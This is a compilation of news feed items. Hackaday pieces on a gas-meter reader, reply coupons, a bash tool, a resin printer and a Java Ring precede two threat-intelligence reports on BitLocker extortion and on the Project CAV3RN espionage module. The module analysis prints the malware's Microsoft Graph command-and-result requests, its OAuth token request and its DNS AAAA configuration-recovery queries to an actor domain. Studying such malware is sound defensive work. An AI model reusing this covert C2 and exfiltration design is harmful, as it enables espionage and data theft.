In an ideal world, the role of technology would be to make all of our lives easier. And although all the ads suddenly appearing in our smart TVs and gaming systems might make it seem otherwise, some technology can still improve our lives if we work hard at it. For [Cian], that meant training a neural network to read his gas meter so he wouldn’t have to do it himself.

The root issue here is twofold, first that [Cian]’s gas company hasn’t upgraded their own technology to modern, remote-readable meters, and second that the meter can’t be read by a gas employee because it’s hidden in the depths of [Cian]’s basement. This latter fact requires him to delve into Moria-like depths to get to the meter, so the solution here was to place a Raspberry Pi in this location instead. With a camera pointed at the meter, it’s not quite capable of discerning digits on its own so a neural network was trained in order to get accurate readings of the dial. And, finally, since the machine is networked already [Cian] set it up to automatically notify the gas company of its reading so he is now completely out of the loop.

For automating tedious tasks like these, the Raspberry Pi with something like OpenCV as a computer vision tool is a fairly mature platform for light machine learning duties like these. We’ve seen license plate readers as well as neighborhood traffic surveys built on these platforms to help automate human labor away, making our lives easier one single-board computer at a time.

youtube.com/embed/FPczsUWbEY0?…

hackaday.com/2026/07/21/neural…

Have you ever found out that something you remember from your youth is now gone, and you didn’t even notice? If you are a certain age, you might feel that way when I deliver the news: You haven’t been able to buy International Reply Coupons (IRCs) at a US Post Office since early 2013. By the end of 2026, you won’t be able to buy them anywhere. The age of the IRC is over.

What’s an IRC?

An IRC from 1978 (public domain).
If that didn’t mean anything to you, you might be too young to remember, or maybe you just weren’t into shortwave listening or ham radio. Although there were other reasons to get IRCs, a radio hobby is the most likely reason a Hackday reader would have bought an IRC.

For radio purposes, here’s the problem. You’ve worked on your station for months, and one winter night, you finally pull in that rare station from Luxembourg. They’ll send you a QSL card to verify that you heard them. You only have to send them a letter telling them what time you heard them, what frequency, and some details about the program you heard. But they probably don’t want to pay the postage required to send hundreds or thousands of cards overseas.

While this is a radio-specific problem, you might find the same issue with pen pals or when trying to buy things from an overseas company.

SASE

If everyone were in the same country, the solution would be easy. Take a stamp, put it on an envelope that has your address on it, and stuff it in with the letter. Or, you could just drop a stamp or two in the letter you sent.

The problem is, US postage won’t help Radio Luxembourg. On the other hand, the effort required for you to buy postage that works in Luxembourg would have been a nightmare.

Enter the UPU

The Universal Postal Union is a UN agency that is effectively an association of post offices in 192 countries. Their charter is to facilitate mailing things worldwide.

The IRCs date back to 1906. The idea is you buy an IRC at your post office. You send it to Radio Luxembourg, or wherever. There, the mail person at the radio station could go to their post office and trade the coupon for enough local postage to send a surface letter worldwide.

Slow Death

A more recent IRC (UPU).
As demand has dwindled, post offices worldwide have quit selling IRCs. As of last year, Australia still did. But Germany, Britain, the United States, and many other countries gave up on them long ago. In fact, Britain’s Royal Post claimed that the average post office sold less than one IRC per year at the time it threw in the towel.

UPU decided to end IRCs altogether by December 31, 2026. The end of an ear and, apparently, not just for radio hobbyists. It is telling that the UPU’s recent editions of IRCs had print runs of 1,000 or even 500. So they obviously weren’t selling very many.

IRCs Other Claim to Fame

If you’ve heard of these before and you aren’t interested in radio, then it might have been in economic history. Have you heard of the Ponzi scheme? It has become a generic term for any business scheme that relies on raising money from new investors to service debt owed to old investors.

However, the original Ponzi scheme dates back to 1920, when Charles Ponzi realized he could buy IRCs in a country where they were cheap and sell them for more in another country. He was happy to accept investors, of course.

The problem is that profits are thin, and the costs of acquiring and transporting large numbers of IRCs quickly swamp most potential profits. Fluctuations in currency exchange rates take the rest.

youtube.com/embed/yVUZrMJsXyU?…

Goodbye!

So the end of the IRC marks a closed chapter for ham radio and swindling. There were probably other uses, too, that are now consumed by electronic mail, payment systems, and the like.

You have to wonder what adventures IRCs went on during their global travels. The video below shows one’s story.

youtube.com/embed/NBIO-1mxQac?…

hackaday.com/2026/07/21/postal…

What if you want to do something in Linux for a lot of files? [Numerator] was tired of using xarg and other ways to handle this job and created bashumerate.

Some examples in the post of the “other ways” include:
find . -name '*.log' | xargs rm
find . -name '*.sh' -exec wc -l {} \;
You can, also, use a for loop, and if you are a programmer at heart, you may well do this:
for f in *.txt; do
wc -l "$f"
done
Bashumerate handles all of the common cases in one tool and uses the same syntax for multiple kids of enumerations.

For example, the above translates to:
enumerate -f '*.sh' -- 'wc -l {}'
The -f means enumerate files. You can also enumerate lines, numbers in a range, or lists. What’s even more interesting is that you can add your own source. As an example, there’s an add-in function that enumerates running docker containers.

The source is all in bash, so it should be very portable. Will you try it? What’s your favorite way to enumerate in shell? Let us know in the comments. You know how we love strange bash tricks.

hackaday.com/2026/07/21/tired-…

My initial experience with a 3D printer came in 2020, when I got access to a buddy’s Creality LD-002R SLA printer. This was one of those awkward transition phases for SLA printers, where inefficient RGB LCDs finally got replaced by monochrome LCD panels, thus massively reducing the required exposure time and increasing the LCD panel’s lifespan.

The closely related Creality LD-002H is a monochrome SLA printer, but as this wasn’t the one that this friend opted for we had to learn the ropes on this more old-school printer. In terms of specifications this meant a build volume of 119 mm x 65 mm x 160 mm to play with and a claimed 26.1 µm resolution. Despite some struggles along the way, this machine churned out impressively high levels of detail with whatever cheap resin we threw at it, and even the post-printing processing became easy once we added a flex plate to the build plate and tweaked the cleaning and curing steps.

Despite all these positives, we both drifted away from resin printing, mostly due to the still messy and smelly printing process. FDM printers seemed like a better deal, especially after said buddy got his mittens on a used IDEX FDM printer. I would eventually go through a rather loathsome Creality Ender V2 experience before ending up with my current-day Elegoo Neptune 4, and resin printing seemed to be a thing of the past for me. Until recently, that is.

Things Have Changed

The Creality LD-002R MSLA 3D printer from 2020. (Credit: Creality)
Despite not having access to a resin printer any more, I still kept up to date on newly released hobbyist-level 3D printers of any type, as well as progress in technologies. Here I rather liked the digital light processing (DLP) types of resin printers, as they ditched the LCD and UV light source for a MEMS micro-mirror and laser setup for big power and weight savings. Unfortunately DLP resin printers appear to have fallen by the wayside again due to a variety of reasons, one of them apparently being scaling limitations with available DLP light engines and the manufacturers for the latter seemingly uninterested in this market.

Thus consumer SLA printing is still generally done with mono LCDs, which do not quite have the same efficiency and crisp edges for individual pixels as DLP, but which otherwise have come a long way, with better optics and light sources. A big push has also been towards larger build volumes, so despite new SLA printers tacking on more ‘K’s to their display resolution, the effective resolution isn’t that much better than a 2020 budget model. The real question is probably whether that’s even needed based on my own experiences printing fine details.

Perhaps the most exciting change is that with overall user-friendliness, such as easier bed levelling, the preventing of resin smells wafting out of the printer into the room, heated resin vats for reliable print results and UV-blocking lids that you can flip open instead of having to gently lift off the printer with dirty gloves while you desperately try not to drop it whilst scrambling to find a free spot to put it safely down.

Although the Creality LD-002R lists air filtration with a carbon filter, this was more filtration of the homeopathic variety. Instead of filtering anything, the tiny, noisy fan effectively blasted unfiltered, resin-rich air into the room. Thus one of the first thing we did was disabling this ‘feature’ by turning off the fan and sealing the air hole. This immensely improved the printing experience even with less optimal airflow in the room.

Picking A Resin Printer

The Anycubic Photon D2, the largest Anycubic DLP printer. (Credit: Anycubic)
The selection of resin printers to pick from these past years has been nothing short of overwhelming, even if you ignore the veritable flood of slightly different variations from certain manufacturers. Here DLP printers seemed different enough even with their small build space, to the point that I almost got one. Of course the long-awaited successor DLP printers never appeared, and the small build space was somewhat rough and put me off from an impulse buy.

Thus getting an SLA printer as a friend for my FDM printer seemed like the only option, but lacking real project motivation that idea got put on the backburner. It’s really hard to justify a purchase if you cannot justify such a financial expense, after all.

That’s when I suddenly got motivation shoved into my face, in the form of Uniformation contacting me about giving their GK3 Ultra SLA printer a shot. This would be a no-strings-attached chance to have a poke at what looked to be a rather nice and capable printer, even if its price tag of around $1,300 makes it something for people who really know that this is the resin printer they want.

I had heard of this Uniformation company before, as a smaller company that scored a pretty big hit with the somewhat-troubled-but-very-interesting GKtwo SLA printer, which had also featured on my shortlist at one point. The GK3 successor to the GKtwo had been baking in the resin printing community for more than a year by the time I got contacted, with gradual improvements over that time based on community and reviewer feedback.

This is quite different from most 3D printer companies who generally push out a new model in a take-it-or-leave-it sense, so I took them up on their offer for this printer to either play with or use as a very fancy coffee table, whatever I wanted. Based on the sheer verbal abuse I have read aimed at Uniformation during the GK3 development phase on especially sub-reddits, it makes me fairly confident that all major issues were fixed, and that at the very least it’ll be a massive upgrade over the LD-002R that’s pretty much my reference point.

Setting Up

In the world of 3D printers, it would seem that the idea of a flatpack parcel with your new 3D printer – as with my Ender 3 v2 and Neptune 4 bed slingers – has come to an end. A modern CoreXY kinematics FDM printer arrives fully assembled with only few exceptions – like Prusa 3D’s DIY kit offerings – so you’re looking at a very big box that weighs a lot. The similarly priced Prusa CORE One+ for example comes in at a cool 22.5 kg without packaging.
Super easy to move, barely an inconvenience. (Credit: Maya Posch)
The GK3 Ultra ups that to 35 kg, so I had a rather unhappy delivery bloke lug the ~40 kg box up a few steps from his van to where I could use furniture rollers to walk it over to its new home, next to the FDM printer in a sturdy rack. Lifting the printer into the rack was consequently also a bit of a chore, though less due to the weight and more due to the lack of any good places to grip it. I had to put on some good gloves for extra grip and to prevent the aluminium case from cutting into my flesh.

With that chore done, I could finally admire the fine mess that I had gotten myself into. First of all, the build volume is pretty massive, at 300 x 160 x 300 mm, almost fully beating the Neptune 4’s 225 x 225 by 265 mm. The GK3 Ultra is notably quite deep, at about 40 cm before adding space for the power and Ethernet cables, not to mention the provided Wi-Fi dongle if that’s more your thing.

Much of this extra space is taken up by the resin dispenser system, which I’ll cover more later. Within the rack you’ll need at least 85 cm between the two shelves if you want to put a resin bottle into the slot that’s conveniently placed on the top. Fortunately you can also pour resin directly into the vat and even make the flippy lid removable, but it’s a pretty hefty unit either way.

After liberating a lot of foam and goodies from the inside of the printer, I was finally able to start commissioning it. This involved removing a lot of protective film, running the exposure test to verify that the LCD and UV light source are working, and best of all a quick confirmation that the pre-levelled build plate was still level. Compared to the faffing about with four bolts on the LD-002R’s build plate assembly and sheets of A4 paper that I was used to, this was a massive improvement.

Time To Print

The resin that got sent along with the printer uses a special bottle style, which fits in the GK3’s resin feeding system. You slot the entire bottle into the hole on the top of the printer, from where it should automatically slot into all the tubing and widgets that are supposed to handle the resin flow. My only misgivings with this design is that each of these special cartridge-like bottles are only rated for ten insertion/removal cycles, after which you have to buy a new one.
Bottom of the Uniformation resin bottle, with the ports visible. (Credit: Maya Posch)
If you use non-Uniformation resin and are pouring resin into a special bottle, then this can be a bit of a pain, if only to keep track of just how many times you have inserted said bottle before you suddenly have it start draining fully into the vat, or whatever the failure mode here is. Fortunately you can also disable this feature if you’d rather pour the resin directly into the vat, which is probably what I’ll end up doing with typical resin bottles rather than use the provided empty special bottle.

Since the only bottles of non-expired resin that I have lying around use this automatic resin feeding system, I’ll be be giving it a shot. A total of two resin types are available to me, one is the water-washable type that’s supposedly not as smelly as the standard resin that I have always used, and which can be cleaned with plain water instead of IPA.

The other type of resin is ABS-like, which as the name suggests is a ‘tough’ kind of resin, targeting similar use cases as ABS, ASA and kin. For the test I’ll print everything with both WW and ABS, as well as in PLA on the FDM printer, to test both overall workflow, printing of fine detail, water-tight parts, heat-resistance and durability.

Test Setup

For a first printing round, I have so far printed a range of parts on the Neptune 4 in white PLA, and for the GK3 Ultra I will initially just use the ABS-like (AL) clear-blue resin, to not have to switch resins just yet, which is another fun topic to cover. These prints include a range of items like bottles, a miniature figurine and a bunch of LEGO Technic-compatible parts. The latter two serve to give dimensional accuracy a good workout, along with basic durability testing.

The print results and my initial findings will be in the next article, as this one is getting on in words. I’m also more than happy to consider any requests for aspects to test and questions to answer here. Although I have so far printed FDM parts in PLA, I’ll probably also be printing some parts in PETG and conceivably also TPU. Since I only have an open style FDM printer, engineering-grade materials such as ABS, ASA, etc. are naturally not available to me, for both practical and health-related reasons.

hackaday.com/2026/07/21/giving…

Recently, our teams in Latin America investigated a series of incidents involving misconfiguration, the deployment of BitLocker, and the exploitation of corporate printers. Attackers used the devices to notify organizations that their infrastructure had been compromised and they had to pay a ransom to recover their data.

This article analyzes two incidents that occurred in June in Colombia and in May in Mexico. We highlight the similarities in the attackers’ communications and outline emerging trends in ransom amounts.

Initial sign of an attack

In both cases, the affected users initially noticed a padlock icon next to their drives in Windows Explorer. This indicated that the drive was encrypted with BitLocker, blocking access to its contents.

Drive icon indicating that the drive is locked

A recovery key was required to unlock the drive.

Attempt to access the disk’s contents and the prompt for the BitLocker recovery key

This is not the first time we have seen such threats; a few years ago, our team discovered a threat known as ShrinkLocker, which utilized BitLocker to achieve its goals.

First case: abusing RDP to encrypt data

One of the incidents occurred in Colombia in June. The attackers exploited an internet-exposed RDP service on a machine connected to an 8 TB storage device containing mission-critical data. After taking control of the system and manipulating user credentials, the attackers enabled BitLocker exclusively on the drive that primarily stored financial data. Once the encryption was complete, they locked the drive and used the company’s printers to produce ransom notes.

Ransomware note

Unfortunately, it was not possible to obtain evidence in the case due to the company’s rush to restore the encrypted disk. The communication with the attackers revealed a demand for just $3,000, and the company considered paying the ransom. After that, the system was restored before the forensic team could take any action, eliminating the evidence needed to assess the incident.

Attacker’s reply to the victim’s email sent to the address in the printed ransom note

This attack was made possible by an internet-facing remote desktop service (RDP) with additional open ports, which employees used to access corporate information. By exploiting this network exposure and misconfiguration, attackers breached the system, identified an additional drive, and leveraged BitLocker to encrypt the data and demand a ransom payment. Leaving RDP ports open without proper security controls jeopardizes the security of systems and information, as highlighted in the our “Global Report: Anatomy of a Cyber World“.

Exposed ports identified in the system in recent months

The company confirmed that, due to compatibility issues with applications required for operation, EPP (Endpoint Protection Platform) protection was disabled on the system, making it easier for attackers to validate, enumerate, and execute applications without revealing malicious activity to central monitoring systems.

Second case: meet the XEntry Team

In another incident, which occurred in Mexico in May, our team identified how the threat actor gained initial access to the infrastructure. They exploited a misconfigured MSSQL service. This allowed them to execute commands on the system after obtaining the database login credentials from code insecurely published on GitHub.

XEntry team attack

In this incident, the attack began three months prior to detection, with the intruder discovering and verifying their access to the environment. After confirming their access and privilege level within the MSSQL server settings, which extended beyond the DBMS to the underlying operating system, the attackers initially focused on manipulating certain aspects of the web server configuration on the same system. They lowered the server’s security settings and created web shell files in the publicly accessible folders. Many of these attempts to manipulate the service or create malicious files were contained by existing EPP security controls, but despite the alerts, the necessary investigation to address the activity was not conducted.

Commands executed when attempting to manipulate the web server

The attackers subsequently confirmed their ability to execute commands locally and set up their attack infrastructure to transmit data via a communications bridge. By exploiting the MSSQL service, they gained access to each of the organization’s internal systems.

The database engine used by the company was Microsoft SQL Server 2019.0150.2160.04, misconfigured to allow operating system сommand execution via the xp_cmdshell extended stored procedure.

Due to this misconfiguration of an internet-exposed service, the attackers established a channel capable of executing any type of command directed at the server and the local infrastructure within its scope.

Attack path

One of the main objectives was to identify shared systems and resources that provided access to critical information. Our analysis confirmed the attackers’ access to systems storing configuration parameters for networking, enterprise management, and cloud services, among others.

A subset of the critical information identified and collected by the attackers

In early May, the attackers focused on running additional scans and deploying ManageEngine’s Endpoint Central RMM (Remote Monitoring and Management) to establish persistence and begin the final stages of their intrusion.

Scanning and RMM deployment

Further RMM-type applications, such as Mesh Agent and Tactical RMM, were installed in the days that followed. These were used to deploy scheduled tasks responsible for enabling the BitLocker service and individually encrypting the infrastructure’s disks, generating a key for each encrypted system.

Commands executed through RMM tools to collect Bitlocker keys

Finally, in mid-May, the attackers managed to execute a Group Policy Object (GPO) used to deploy activation and encryption tasks, as well as other policies responsible for continued deployment of RMM applications via scheduled tasks. The activity initially targeted critical systems but later spread to every system synchronized with the domain controller. Users became aware of the attack when their machines displayed a blue screen with the message “Hacked by XEntry Team”, and their credentials stopped working to access their systems.

A few hours later, ransom notes began emerging from office printers.

Ransom note printed by the XEntry team

These cases confirm that adversary’s objective is to gain access to infrastructure while avoiding investment in or partnership with ransomware groups. Instead, they leverage built-in Microsoft tools to facilitate data encryption and ransom payments. Monitoring and centralizing logs on protected resources, as well as promptly managing alerts, are critical to countering this type of intrusion.

Conclusions

• Although the systems under review had security measures in place, there was a lack of proper alert management or inadequate decisions regarding application incompatibilities.
• We strongly recommend configuring the Remote Desktop Protocol (RDP) in strict accordance with cybersecurity best practices to prevent unauthorized access. This is especially critical: according to our Global Report: Anatomy of a Cyber World, more than 13% of incidents are related to policy violations and configuration errors, confirming that misconfigurations continue to pose a significant risk.
• Organizations should prioritize strict application control policies and active monitoring of network traffic for command-and-control (C2) communications. This is especially critical: according to the same report, more than 20% of incidents involved the abuse of RMM (Remote Monitoring and Management) tools for execution and C2 strategies. The fact that attackers used more than three distinct tools to gain control during a single incident further underscores the urgent need for these measures.
• Some questions remain unanswered due to a lack of evidence and a hasty system restoration effort that bypassed critical stages of the incident response process. It is important to ensure an adequate incident response procedure, preserving evidence to confirm all related activities, and adjusting or proposing controls to prevent future incidents involving similar TTPs.
• Although the ransom notes do not reveal a clear connection between the actors, certain words used in the messages, as well as the method of delivery and communication, may confirm a link:

“As a guarantee, we have no negative online reviews about non-fulfillment of our obligations…” (Ransom note from the first case)

“Our reputation is the guarantee that all content will be fulfilled…” (Ransom note from the second case)

Our teams continue to monitor these threats.

Detection signatures

• Trojan.Multi.Agent.gen
• Trojan.Win32.GenAutorunMsSqlServerCommandRun.a
• Trojan.Win32.Generic
• Exploit.Win32.SCShell.a

securelist.com/new-extortion-s…

Back in the late 90s when absolutely everybody knew that Java was going to become the one programming language to rule them all, the Java Ring was handed out to folks at Java developer conferences as an example of how it was going to revolutionize smart wearable devices. Recently [Daisuke Yamazaki] got his mittens on one of these collector’s items to see about reviving it.

We talked about these rings and associated iButton devices before, with their intended use being primarily to act as authentication keys. For the Java Ring, this use was mostly just used as a kind of gag, whereby visitors to these conferences could specify their coffee preferences at a terminal, having this programmed into the ring so that they could get their desired cup of literal java at various bean juice dispensers around the conference site.

Talking to one of these iButton devices requires a so-called Blue Dot adapter, which [Yamazaki-san] purchased along with the ring. Although the device happily responded on the 1-wire bus, figuring out how to interact with the original Java-based firmware and answering the question of how much of the original information of someone’s coffee preferences in ’98 were retained would require more sleuthing.

Welcome to the Java wearables future of 1998. (Credit: Internet Watch, Impress)
After recovering an installer for the Dallas Semiconductor’s IB-DE IDE from the Wayback Machine, this posed the next problem. As it was a 32-bit Java binary, which didn’t play nice with the modern Java 25 runtime and belying the ‘write once, run anywhere’ marketing phrase of back then. Downgrading to 32-bit Java 1.8 with since removed communication APIs helped here.

With the IDE in place, the traffic between the Java Ring and the PC-based software could be analyzed to figure out what was going on. This revealed CRC errors that pointed to the built-in lithium backup battery having expired. Unfortunately the stainless steel case is meant to be sealed and thus turn into e-waste the moment said battery calls it quits. Here fortunately a Japanese TV program picked up on these efforts and featured his efforts on national TV.

This led to the happy ending, with some help with others in replacing this battery. This also answered the question of which parts of the firmware and data were in the battery-backed RAM and which in ROM. Although full details of the findings here are a bit scarce, it seems that the original data was lost along with the dead back-up battery, but the ROM retained the JVM and allowed for a new program to be eventually written to the device and retained across reader sessions.

Although these days the various NFC standards have made bulky devices like iButtons rather obsolete, they’re still a fun look at an era when it was thought that lugging a tiny computer as a (key) ring around for authentication was the future. Of course these days we mostly lug an entire 6″ smartphone for that purpose, so maybe the joke is on us after all.

Thanks to [Wood] for the tip.

hackaday.com/2026/07/21/java-r…

Introduction

In June 2026, as part of our Kaspersky Threat Intelligence Reporting service, we published extensive research on Project CAV3RN, a sophisticated modular framework used for cyberespionage activity against targets in Israel. We have been tracking this cluster since December 2025, and in late April 2026 we observed a major architectural shift: the developers moved from a three-component framework consisting of a downloader, executor, and uploader to a controller-based architecture with a dedicated WebSocket-enabled C2 communication component and a more extensible plugin system designed to support modular post-exploitation capabilities.

Subsequently, Check Point Research publicly reported on the same controller-based architecture in July 2026. However, neither our previous research nor the subsequent public reporting covered the latest communication component analyzed in this report.

Following our June 2026 publication, we identified a .NET Native AOT communication module that is apparently designed to replace the previous HTTP/WebSocket component. It exchanges commands and results through Outlook calendar events accessed via Microsoft Graph. If Microsoft Graph authentication or tenant validation fails, the module attempts to retrieve replacement connection settings through DNS AAAA responses.

Module network communication architecture

During the preparation of this report, additional public research covering this communication component became available. The research presented in our article is based on our independent analysis and includes several additional implementation details that complement the existing public reporting.

Technical details

The previously reported controller-based CAV3RN architecture separates C2 communication from command execution. The controller, uxtheme.dll, generates and maintains the seven-character Agent ID, manages the polling loop, processes built-in commands, and dispatches other tasks or commands to separate plugins. The previously used communication component, n-HTCommp.dll, retrieved commands and transmitted execution results over HTTP/WebSocket.

Project CAV3RN architecture (April 2026)

The module performs the same communication role but uses Outlook calendar events accessed through Microsoft Graph. Similarly to the previous version, its get and send interface and use of the same controller-generated Agent ID suggest that it was designed to replace the previous communication component. However, because the corresponding updated controller was not recovered, this replacement role is assessed rather than directly observed.

C2 communication module

The communication module, AzureCommunication.dll, is a DLL compiled with .NET Native AOT, consistent with several other components of the Project CAV3RN framework that are publicly documented. Such a compilation method turns the managed application into native machine code and removes most of the metadata and intermediate language that normally make .NET assemblies straightforward to analyze.

The module exposes its functionality through a single export named QueryInterface. We expect an updated controller to load the DLL, resolve this export, and pass it a null-terminated UTF-16 string. The accepted input format closely follows the interface used by the previously documented CAV3RN controller.
get_;;_<agent-id>_,_<legacy-url>
send_;;_<agent-id>_,_<legacy-url>_,_<result>
The _;;_ delimiter separates the operation from its arguments, while _,_ separates the arguments.

For get, the module only uses the first argument as the Agent ID. For send, it uses only the Agent ID and the result. In both cases, the additional legacy URL is ignored. It remains part of the interface for compatibility with the controller, even though the new module obtains its destination and credentials from its own Microsoft Graph configuration.

Outlook calendar events as a C2 channel

The DLL contains a complete default configuration, including the Microsoft Entra tenant ID, application credentials, target mailbox, DNS bootstrap host, and cryptographic keys required to establish communication.

Before processing either get or send operation, the module looks for a relative file named logAzure.txt. Because the code supplies only a filename, Windows resolves it against the current working directory of the process hosting the DLL.

If logAzure.txt exists, the module reads and deserializes it. If it is absent, the module builds the configuration from the hardcoded values and writes the complete object to disk with the following structure:
{
"TenantId": "******-****-****-****-**********", // Microsoft Entra tenant ID
"ClientId": "********-****-****-****-************", // application/client ID
"ClientSecret": "********************************************",
"UserEmail": "***@*********.co.il", // Compromised target Microsoft 365 mailbox
"Host": "cloudlanecdn[.]com", // DNS bootstrap domain
"PublicKey": "-----BEGIN RSA PUBLIC KEY-----\r\n[omitted]\r\n-----END RSA PUBLIC KEY-----", // outbound encryption public key
"PrivateKey": "-----BEGIN RSA PRIVATE KEY-----\r\n[omitted]\r\n-----END RSA PRIVATE KEY-----" // inbound decryption private key
}
Using the resulting configuration, the module creates a Microsoft Graph client and validates access by requesting the tenant’s organization record through a GET request to https://graph.microsoft.com/v1.0/organization.

Attempting this request causes the Azure Identity library to obtain an OAuth application token:
POST login.microsoftonline.com/<…
client_id=<ClientId>
client_secret=<ClientSecret>
scope=https://graph.microsoft.com/.default
grant_type=client_credentials
After successful authentication, the module includes the token in subsequent Graph requests using the Authorization: Bearer <access-token> header. The module uses the default calendar of the configured mailbox as a dead-drop channel. Commands, heartbeats, and results all occupy the same fixed one-hour window 2050-05-13 22:00–23:00 UTC.

Scheduling the events for 2050 makes them unlikely to appear in ordinary calendar views. The calendar event subject identifies each event’s purpose and associated Agent ID. Heartbeat and result subjects append the fixed suffix 1500 to this value; the suffix is not part of the Agent ID.

Receiving a command

For a get request, the module queries calendarView and filters the results by the Agent ID:
GET /v1.0/users/***@*********.co.il/calendarView?startDateTime=2050-05-13T22:00:00&endDateTime=2050-05-13T23:00:00&$filter=contains(subject,'Event ID: <agent-id>')
If Graph returns one or more matches, the module selects the first returned event and requests its attachments:
GET /v1.0/users/***@*********.co.il/events/<EventId>/attachments
Authorization: Bearer <access-token>
After obtaining the attachment response, the module deletes the calendar event:
DELETE /v1.0/users/***@*********.co.il/calendar/events/<EventId>
Authorization: Bearer <access-token>
Our analysis found a consistent difference in capitalization between command and result attachments:

Inbound command decryption

Inbound commands use a combination of RSA and AES-GCM encryption. Once the attachments have been sorted and concatenated, the reconstructed encrypted command buffer begins with a 256-byte RSA-encrypted block containing the 32-byte AES key. The communication module decrypts this block with the RSA private key stored in its configuration, using RSA-OAEP with SHA-256.

The following 12 bytes contain the AES-GCM nonce, while the final 16 bytes contain the authentication tag. Everything between the nonce and tag is ciphertext. The module uses the recovered AES key to decrypt and authenticate this ciphertext with AES-256-GCM.

Encrypted attachment stored in a calendar event

After RSA-OAEP-SHA256 and AES-256-GCM decryption, the 63-byte ciphertext produces {"cid": "alXBCzcDl8hBuNE", "type": "self", "cmd": "003_;;__,_"}.

Decrypted command

The cid field appears to serve as a unique command-correlation identifier. As described in a previous publication of the framework, when the operator sets the JSON type field to self, the controller routes the command to its internal handler rather than dispatching it to an external plugin. In this command, the cmd field contains 003_;;__,_, where command 003 instructs the controller to toggle debug logging. After decryption, the communication module returns the complete command to the external controller through QueryInterface.

Sending command output

For a send request, the controller passes the command output to the communication module. The module encrypts the output using a newly generated AES-256-GCM key and protects that key with the configured RSA public key. It then divides the encrypted payload into chunks of up to 10 MiB.

To publish the result, the module creates a calendar event with the temporary subject d and attempts to add each encrypted chunk as a sequentially named attachment, such as File0.txt and File1.txt. After adding the attachments, it changes the subject to Boss Report ID: <agent-id>1500, marking the event as a completed result.

This process uses the following sequence of Microsoft Graph requests:
POST /v1.0/users/***@*********.co.il/calendar/events
POST /v1.0/users/***@*********.co.il/calendar/events/<EventId>/attachments
PATCH /v1.0/users/***@*********.co.il/events/<EventId>
Together, the uploaded attachments contain fragments of one encrypted result package: the RSA-encrypted AES key, AES-GCM nonce, encrypted command output, and authentication tag. Recovering outbound results requires the private key corresponding to the outbound public key. This private key is assessed to be held separately by the attacker.

Heartbeat handling

The module maintains a heartbeat event identified by the subject Boss update ID: <agent-id>1500. The module searches the same fixed calendar window for a previous heartbeat associated with the agent. If one exists, the module deletes it and creates a replacement event with the temporary subject d through the following sequence of Microsoft Graph requests:
GET /v1.0/users/***@*********.co.il/calendarView
DELETE /v1.0/users/***@*********.co.il/events/<EventId>
POST /v1.0/users/***@*********.co.il/events
Finally, it updates the newly created event through the following PATCH request, replacing the temporary subject d with Boss update ID: <agent-id>1500.
PATCH /v1.0/users/***@*********.co.il/events/<EventId>
Authorization: Bearer <access-token>

{
"subject": "Boss update ID: <agent-id>1500"
}
Heartbeat events use the same one-hour window in 2050 but contain no attachments.

The following figure summarizes the module’s operational workflow.

DNS AAAA configuration recovery mechanism

When OAuth token acquisition or the subsequent GET /v1.0/organization validation request fails, the module attempts to retrieve replacement TenantId, ClientId, ClientSecret, and UserEmail values through actor-controlled AAAA responses.

DNS-based configuration recovery (simplified)

The module uses cloudlanecdn[.]com as its configuration-recovery domain. The domain is delegated to four actor-controlled authoritative nameservers, ns1 through ns4.cloudlanecdn[.]com, allowing the operator to generate different AAAA responses according to the Agent ID, configuration field, and fragment offset.

The module submits the generated DNS queries through the operating system’s configured recursive resolver, which follows the domain’s delegation to one of the authoritative nameservers. The returned IPv6 address is treated as a 16-byte container for protocol data rather than as a network destination.

For both get and send operations, the controller supplies the seven-character Agent ID as the first argument to QueryInterface. The communication module converts its UTF-8 bytes into two-character uppercase hexadecimal values. For example, SFmLgQZ becomes 53 46 6D 4C 67 51 5A, which the module concatenates as 53466D4C67515A.

The hexadecimal identifier is then embedded in every recovery query. The module retrieves four Microsoft Graph configuration values in a fixed order, with each value assigned a numeric index:

Determining the field length through .p. queries

For each configuration value (TenantId, ClientId, ClientSecret, and UserEmail), the module first sends an AAAA query to determine the value’s total length: d.<hex-agent-id>.<field-index>.p.<host>.

In this format, <hex-agent-id> is the uppercase hexadecimal representation of the Agent ID supplied by the controller. The <field-index> identifies the requested configuration value according to the table above; for example, index 0 represents TenantId. The p marker indicates a length request, while <host> contains the configured DNS recovery domain, cloudlanecdn[.]com.

For example, the following AAAA DNS query requests the length of the TenantId associated with Agent ID SFmLgQZ:
d.53466D4C67515A.0.p.cloudlanecdn[.]com
The AAAA response 2001:24:1234:5678:9abc:def0:1122:3344 corresponds to the byte sequence 20 01 00 24 12 34 56 78 9A BC DE F0 11 22 33 44. The module discards the first two bytes and interprets the following two bytes, 00 24, as a big-endian field length. This produces the value 0x0024, or 36 bytes. The remaining 12 bytes are ignored. The initial 2001 group is not treated as a network destination or strictly validated as a protocol marker; it simply occupies the two bytes that the module discards.

IPv6 AAAA record payload layout for obtaining length

In the observed example, the same process produced a 36-byte TenantId, a 36-byte ClientId, a 40-byte ClientSecret, and a 28-byte UserEmail. The protocol itself supports other lengths because each value’s length is supplied dynamically by its .p. response.

To illustrate this process, we reproduced the protocol in a controlled environment using a laboratory domain.

Field length encoding in DNS AAAA record responses (example)

Retrieving configuration data through .q. queries

After obtaining the field length from the .p. response, the module allocates a buffer of exactly that size and initializes an offset to 0. It then requests the field data using the following format: d.<hex-agent-id>.<field-index>.<offset>.q.<host>.

The <field-index> identifies the requested configuration value, while <offset> specifies where the fragment belongs in the output buffer. After checking for the sentinel address, the module discards the first two bytes of each normal .q. response and copies up to 14 of the remaining bytes. For the final response, it copies only the bytes required to reach the declared field length.

Queries continue at 14-byte offsets until the declared field length has been recovered.

The following figure shows the three .q. requests required to reconstruct a 36-byte TenantId.

TenantId retrieval process via DNS AAAA records (example)

In our laboratory responses, the first two bytes appear as the IPv6 group 2001 and are discarded. The responses at offsets 0 and 14 each provide 14 bytes, while the response at offset 28 supplies the final eight bytes. Concatenating and decoding these fragments produces the complete TenantId, 6f9d2a41-8c73-4b56-a1e8-2d407c95f3ab, as shown in the example figure.

The module repeats this procedure for ClientId, ClientSecret, and UserEmail. After reconstructing each value, it decodes the buffer as UTF-8, updates the corresponding configuration field, and writes the complete configuration to logAzure.txt. Once all four fields have been recovered, the module creates a new Graph client, repeats the /organization validation request, and resumes the original get or send operation if validation succeeds.

The DNS recovery mechanism updates only the TenantId, ClientId, ClientSecret, and UserEmail fields. It does not replace the configured DNS recovery host, RSA public or private keys, offering limited rotation for updating the domain itself that is used within the DNS fallback mechanism.

Failure handling and the sentinel AAAA response

